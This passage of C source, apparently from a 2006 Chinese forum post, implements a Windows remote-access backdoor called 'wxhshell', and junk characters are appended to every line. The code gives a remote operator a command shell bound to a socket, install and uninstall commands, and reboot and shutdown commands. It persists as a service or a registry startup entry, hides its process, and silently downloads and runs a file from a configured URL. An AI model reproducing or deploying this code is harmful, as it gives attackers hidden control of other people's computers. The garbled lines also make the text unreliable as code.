  // 帮助 Ok H\^  
  case '?': { grcbH  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >SI<rR[~%  
    break; e>H:/24  
  } Q GPw2Q  
  // 安装 ;4~U,+Av  
  case 'i': { |:q/Dt@  
    if(Install()) r6.N4eW.L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .YcN S%  
    else vzR=>0#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PEXq:TA  
    break; %5B%KCCN  
    } j4.&l3  
  // 卸载 wD9a#AgEd  
  case 'r': { KS<Jv;  
    if(Uninstall()) #$1$T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4E3g,%9u  
    else ecHP &Z$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Wk7WK` >i  
    break; #G;X' BN  
    } q~Jq/E"f  
  // 显示 wxhshell 所在路径 SS3-+<z  
  case 'p': { fC<m^%*zgA  
    char svExeFile[MAX_PATH]; z@h~Vb&I  
    strcpy(svExeFile,"\n\r"); s3QEi^~  
      strcat(svExeFile,ExeFile); "^rNr_  
        send(wsh,svExeFile,strlen(svExeFile),0); wyY*:{lZ  
    break; o'= VZT9  
    } 4u1KF:g  
  // 重启 isK;mU?<  
  case 'b': { ~brFo2  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); pB01J<@m  
    if(Boot(REBOOT)) O!F]^'!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *"9<TSU%m  
    else { _%pAlo_6  
    closesocket(wsh); 4<v;1   
    ExitThread(0); u<Xog$esu  
    } H~fdbR  
    break;  .5Z_E O  
    } /L~m#HxWU  
  // 关机 hC<14  
  case 'd': { H{zPft  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :7b-$fm  
    if(Boot(SHUTDOWN)) HD-Erop  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XD%wj  
    else { GESXc $E8  
    closesocket(wsh); *HlDS22  
    ExitThread(0); =uV,bG5V1  
    } ltA/  
    break; A"l{?;~  
    } "yh Pm  
  // 获取shell ~"dhu]^  
  case 's': {  ?J&)W,~  
    CmdShell(wsh); t_c?Wp~tH  
    closesocket(wsh); ;e{5)@h$  
    ExitThread(0); K{DAOQ.z  
    break; Y;Y 1+jt  
  } TSto9 $}*  
  // 退出 .[j%sGdKl  
  case 'x': { v'9m7$  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); AK/:I>M  
    CloseIt(wsh); wK*PD&nN  
    break; ]0 ~qi@  
    } bBE+jqi 2  
  // 离开 Y1\K;;X  
  case 'q': { {B{i(6C(  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); j\2[H^   
    closesocket(wsh); n[" 9|  
    WSACleanup(); []}N  
    exit(1); A,XfD}+:Z  
    break; Ja [4A0.  
        }  ]PX}b  
  } Z)9R9s  
  } %e=!nRc  
T\sNtdF`:  
  // 提示信息 (B#(Z=  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); dOXD{c  
} x ^vt; $  
  } <r\I"z$  
p:[LnL  
  return; DeQDH5X"  
} 3% vis\~^  
XB/'u39  
// shell模块句柄 2 P}bG>M  
int CmdShell(SOCKET sock) U^$E'Q-VK  
{ -2*>`,Uu  
STARTUPINFO si; ;z>p8N  
ZeroMemory(&si,sizeof(si)); d"&3Q_2CD  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; uMiyq<  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; A3yi?y{[*  
PROCESS_INFORMATION ProcessInfo; {bkGYx5.C  
char cmdline[]="cmd"; X;EJ&g/  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |]ucHV  
  return 0; )f*Iomp]@  
} }76.6=~  
kk_zVrQ<  
// 自身启动模式 ,wK 1=7  
int StartFromService(void) Y!n'" *J>  
{ !J^tg2M8:  
typedef struct *cNk>y  
{ 7),*3c')  
  DWORD ExitStatus; GX38~pq  
  DWORD PebBaseAddress; 08r[K(bfb,  
  DWORD AffinityMask; K51fC4'{  
  DWORD BasePriority; RVF F6N^  
  ULONG UniqueProcessId; R^tcr)(  
  ULONG InheritedFromUniqueProcessId; fVUKvZ}P*  
}   PROCESS_BASIC_INFORMATION; L@A9{,9Pl  
hqW$k w  
PROCNTQSIP NtQueryInformationProcess; 'NjSu64W  
rPTfpeqN)  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0yQe5i}  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; g i4  
yq6LH   
  HANDLE             hProcess; ETelbj;0  
  PROCESS_BASIC_INFORMATION pbi; ^5x4q  
n\>.T[$"  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); V9{B}5KC  
  if(NULL == hInst ) return 0; t2.juoI(  
pqfT\Kb>  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); NG)7G   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); k?-S`o%Q  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -\,VGudM}  
gKQ@!U U8  
  if (!NtQueryInformationProcess) return 0; +]L)>$6  
Pd],}/ZG-  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8IOj[&%0  
  if(!hProcess) return 0; B;c=eMw  
*vs~SzF$  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #pa\ 2d|  
8S=c^_PJ  
  CloseHandle(hProcess); e7|d=W  
sZm^&h;  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?h&l tD  
if(hProcess==NULL) return 0; Y3M','H([  
K~JC\a\0  
HMODULE hMod; OR~GOv|  
char procName[255]; (WMLNv  
unsigned long cbNeeded; g& >m P?  
Eq7gcDQ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); G>j "cj  
+V89J!7  
  CloseHandle(hProcess); S41)l!+2  
n}5x-SxS0  
if(strstr(procName,"services")) return 1; // 以服务启动 _w%s(dzk  
I,9~*^$  
  return 0; // 注册表启动 @`2ozi~lO  
} ] - h|]  
v1K4$&{F  
// 主模块 .m'N7`VB  
int StartWxhshell(LPSTR lpCmdLine) c8\g"T  
{ L]NYYP-  
  SOCKET wsl; 3H <`Z4;  
BOOL val=TRUE; gQCC>8  
  int port=0; C=EhY+5  
  struct sockaddr_in door;  qKx59  
Oo$%Yh51~  
  if(wscfg.ws_autoins) Install(); eo]a'J9(  
M Hn&; A]  
port=atoi(lpCmdLine); 3]7ipwF2q  
#PPsRKj3c  
if(port<=0) port=wscfg.ws_port; 98ayA$  
I')x]edU  
  WSADATA data; cnYYs d{  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; C }bPv +t  
{{GHzW  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   LVWxd}0  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ls]Elo8h1f  
  door.sin_family = AF_INET; 5I_hh?N4Z  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); "pl[(rc+u  
  door.sin_port = htons(port); *<;&>w8  
=mAGD*NKu  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &U8 54  
closesocket(wsl); ur`}v|ZY  
return 1; "SDsISWd  
} AF QnCl Of  
Q!Msy<v  
  if(listen(wsl,2) == INVALID_SOCKET) { >sB=\  
closesocket(wsl); LsUFz_  
return 1; 739l%u }<  
} 8Q)y%7 {6  
  Wxhshell(wsl); ?n73J wH  
  WSACleanup(); a6OrE*x:D  
7dsnv)(v  
return 0; wsna5D6i  
8L@UB6b\  
} jCam,$oE  
fCs\Q  
// 以NT服务方式启动 Q=MCMe  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $o{F  
{ /XbY<pj  
DWORD   status = 0; EgCp:L{  
  DWORD   specificError = 0xfffffff; hE9'F(87a  
b^@`uDb6  
  serviceStatus.dwServiceType     = SERVICE_WIN32; cRjL3  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; !~Ax  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; B44]NsYks~  
  serviceStatus.dwWin32ExitCode     = 0; nqUH6(  
  serviceStatus.dwServiceSpecificExitCode = 0; U3(L.8(sA  
  serviceStatus.dwCheckPoint       = 0; 8rnb  
  serviceStatus.dwWaitHint       = 0; lS>=y#i3Xv  
*yL|}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $Cut  
  if (hServiceStatusHandle==0) return; ]5aux >.n  
Z&BM%.NZJ  
status = GetLastError(); Y!Usce  
  if (status!=NO_ERROR) (0O`A~M3  
{ R4[. n@  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; MM/BJ  
    serviceStatus.dwCheckPoint       = 0; /5a$@%  
    serviceStatus.dwWaitHint       = 0; U+I3P  
    serviceStatus.dwWin32ExitCode     = status; &8IWDx.7}  
    serviceStatus.dwServiceSpecificExitCode = specificError; mNGb} lR  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); V;/ XG}M  
    return; w;z@py  
  } U1OLI]P  
O1l4gduN|i  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Q';\tGy  
  serviceStatus.dwCheckPoint       = 0; 5EVB27k  
  serviceStatus.dwWaitHint       = 0; :qt82tbn  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); QYFN:XZ  
} 1e+h9|hGYw  
KzxW?Ji$S  
// 处理NT服务事件,比如:启动、停止 mkKRC;  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ZA 99vO  
{ oX%PsS  
switch(fdwControl) <VauJB*R  
{ #S/pYP`7  
case SERVICE_CONTROL_STOP: p P_wBX  
  serviceStatus.dwWin32ExitCode = 0; tF{{cd  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; l{B< "+8  
  serviceStatus.dwCheckPoint   = 0; )dUd`g  
  serviceStatus.dwWaitHint     = 0; ;+aDjO2(  
  { \xa36~hh40  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,.1&Ff)S  
  } S5YDS|K  
  return; A`+(VzZgJ  
case SERVICE_CONTROL_PAUSE: 0KNH=;d}  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Sm~? zU[k/  
  break; u|:UFz^p  
case SERVICE_CONTROL_CONTINUE: Cf WK6>  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; %-0em!tUV  
  break; Q_UCF'f;}  
case SERVICE_CONTROL_INTERROGATE: x);?jxd  
  break; A3<P li  
}; n57c^/A*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Hzk1LKsT#  
} Wb*T   
r!-L`GUm  
// 标准应用程序主函数 Ugee?;]lu  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^5^ zo~^o  
{ TZ`]#^kU  
p~k`Z^ xY$  
// 获取操作系统版本 hx2!YNx !  
OsIsNt=GetOsVer(); Wr}a\}R  
GetModuleFileName(NULL,ExeFile,MAX_PATH); +9=p*3cnp  
kW7&~tX  
  // 从命令行安装 k~W;TCJs  
  if(strpbrk(lpCmdLine,"iI")) Install(); mt&JgA/  
uBd =x<c\  
  // 下载执行文件 oPCIlH  
if(wscfg.ws_downexe) { P+_\}u;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) L?/M2zc9Y  
  WinExec(wscfg.ws_filenam,SW_HIDE); &Pn%zfmMN  
} Bm2}\KOI  
xu\/]f)  
if(!OsIsNt) { Kuzy&NI^w  
// 如果时win9x,隐藏进程并且设置为注册表启动 &6~ncQWu  
HideProc(); 4 I]/  
StartWxhshell(lpCmdLine); "O"^\f  
} d-K5nRyI  
else hP6fTZ=Ln  
  if(StartFromService()) 7lBQd(  
  // 以服务方式启动 F#3$p$;B$  
  StartServiceCtrlDispatcher(DispatchTable); r4z}yt+  
else AS/\IHZ\  
  // 普通方式启动 ?8aWUgl  
  StartWxhshell(lpCmdLine); R'$ T6FB5  
t' _,9  
return 0; y:(C=*^<t  
}
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只看该作者 1 发表于: 2006-10-10
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